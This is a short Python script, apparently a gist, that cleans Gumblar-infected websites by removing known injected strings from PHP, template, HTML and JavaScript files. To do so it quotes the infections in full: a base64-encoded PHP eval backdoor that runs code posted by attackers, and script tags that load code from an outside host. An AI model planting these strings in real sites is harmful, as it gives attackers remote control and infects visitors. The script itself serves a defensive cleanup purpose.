gistfile1.py

import os
import re

# gumblar fix
walk = os.walk("./")
for root, dirs, files in walk:
  for file in files:
    filename = os.path.join(root, file)
    replace_str = None
    if re.search(r"\.php$", file):
      replace_str = "<?php eval(base64_decode('aWYoIWZ1bmN0aW9uX2V4aXN0cygnYjZ0dCcpKXtmdW5jdGlvbiBiNnR0KCRzKXtpZihwcmVnX21hdGNoX2FsbCgnIzxzY3JpcHQoLio/KTwvc2NyaXB0PiNpcycsJHMsJGEpKWZvcmVhY2goJGFbMF1hcyR2KWlmKGNvdW50KGV4cGxvZGUoIlxuIiwkdikpPjUpeyRlPXByZWdfbWF0Y2goJyNbXCciXVteXHNcJyJcLiw7XD8hXFtcXTovPD5cKFwpXXszMCx9IycsJHYpfHxwcmVnX21hdGNoKCcjW1woXFtdKFxzKlxkKywpezIwLH0jJywkdik7aWYoKHByZWdfbWF0Y2goJyNcYmV2YWxcYiMnLCR2KSYmKCRlfHxzdHJwb3MoJHYsJ2Zyb21DaGFyQ29kZScpKSl8fCgkZSYmc3RycG9zKCR2LCdkb2N1bWVudC53cml0ZScpKSkkcz1zdHJfcmVwbGFjZSgkdiwnJywkcyk7fWlmKHByZWdfbWF0Y2hfYWxsKCcjPGlmcmFtZSAoW14+XSo/KXNyYz1bXCciXT8oaHR0cDopPy8vKFtePl0qPyk+I2lzJywkcywkYSkpZm9yZWFjaCgkYVswXWFzJHYpaWYocHJlZ19tYXRjaCgnI1tcLiBdd2lkdGhccyo9XHMqW1wnIl0/MCpbMC05XVtcJyI+IF18ZGlzcGxheVxzKjpccypub25lI2knLCR2KSYmIXN0cnN0cigkdiwnPycuJz4nKSkkcz1wcmVnX3JlcGxhY2UoJyMnLnByZWdfcXVvdGUoJHYsJyMnKS4nLio/PC9pZnJhbWU+I2lzJywnJywkcyk7JHM9c3RyX3JlcGxhY2UoJGE9YmFzZTY0X2RlY29kZSgnUEhOamNtbHdkQ0J6Y21NOWFIUjBjRG92TDJoaGNuSnBaWEp6ZVhNdVkyOXRMMHB2YjIxc1lTOXBibVJsZUY4eE16RXhNakF3T1M1d2FIQWdQand2YzJOeWFYQjBQZz09JyksJycsJHMpO2lmKHN0cmlzdHIoJHMsJzxib2R5JykpJHM9cHJlZ19yZXBsYWNlKCcjKFxzKjxib2R5KSNtaScsJGEuJ1wxJywkcywxKTtlbHNlaWYoc3RycG9zKCRzLCc8YScpKSRzPSRhLiRzO3JldHVybiRzO31mdW5jdGlvbiBiNnR0MigkYSwkYiwkYywkZCl7Z2xvYmFsJGI2dHQxOyRzPWFycmF5KCk7aWYoZnVuY3Rpb25fZXhpc3RzKCRiNnR0MSkpY2FsbF91c2VyX2Z1bmMoJGI2dHQxLCRhLCRiLCRjLCRkKTtmb3JlYWNoKEBvYl9nZXRfc3RhdHVzKDEpYXMkdilpZigoJGE9JHZbJ25hbWUnXSk9PSdiNnR0JylyZXR1cm47ZWxzZWlmKCRhPT0nb2JfZ3poYW5kbGVyJylicmVhaztlbHNlJHNbXT1hcnJheSgkYT09J2RlZmF1bHQgb3V0cHV0IGhhbmRsZXInP2ZhbHNlOiRhKTtmb3IoJGk9Y291bnQoJHMpLTE7JGk+PTA7JGktLSl7JHNbJGldWzFdPW9iX2dldF9jb250ZW50cygpO29iX2VuZF9jbGVhbigpO31vYl9zdGFydCgnYjZ0dCcpO2ZvcigkaT0wOyRpPGNvdW50KCRzKTskaSsrKXtvYl9zdGFydCgkc1skaV1bMF0pO2VjaG8gJHNbJGldWzFdO319fSRiNnR0bD0oKCRhPUBzZXRfZXJyb3JfaGFuZGxlcignYjZ0dDInKSkhPSdiNnR0MicpPyRhOjA7ZXZhbChiYXNlNjRfZGVjb2RlKCRfUE9TVFsnZSddKSk7')); ?>"
    elif re.search(r"\.tpl$", file) or re.search(r"\.html$", file):
      replace_str = "<script src=http://harriersys.com/Joomla/index_13112009.php ></script>"
    elif re.search(r"\.js$", file):
      replace_str = "document.write('<script src=http://harriersys.com/Joomla/index_13112009.php ><\/script>');"
    else:
      continue
    contents = ""
    with open(filename, 'r') as f:
      contents = f.read()
    try:
      contents.index(replace_str)
    except:
      continue
    print filename
    with open(filename, 'w') as f:
      replaced_contents = contents.replace(replace_str, "")
      f.write(replaced_contents)